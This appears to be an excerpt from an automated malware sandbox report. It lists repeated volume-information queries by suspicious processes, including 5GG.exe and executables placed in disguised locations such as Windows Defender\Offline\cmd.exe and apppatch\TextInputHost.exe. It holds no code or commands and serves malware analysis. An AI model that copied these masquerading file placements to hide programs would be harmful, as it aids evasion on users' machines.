Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America\Argentina VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America\Argentina VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America\Argentina VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata VolumeInformation	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Queries volume information: C:\MsComponentSvc\hyperServer.exe VolumeInformation	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Queries volume information: C:\Program Files\Windows Defender\Offline\cmd.exe VolumeInformation
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Queries volume information: C:\Program Files\Windows Defender\Offline\cmd.exe VolumeInformation
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Queries volume information: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe VolumeInformation
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Queries volume information: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\apppatch\AppPatch64\TextInputHost.exe VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
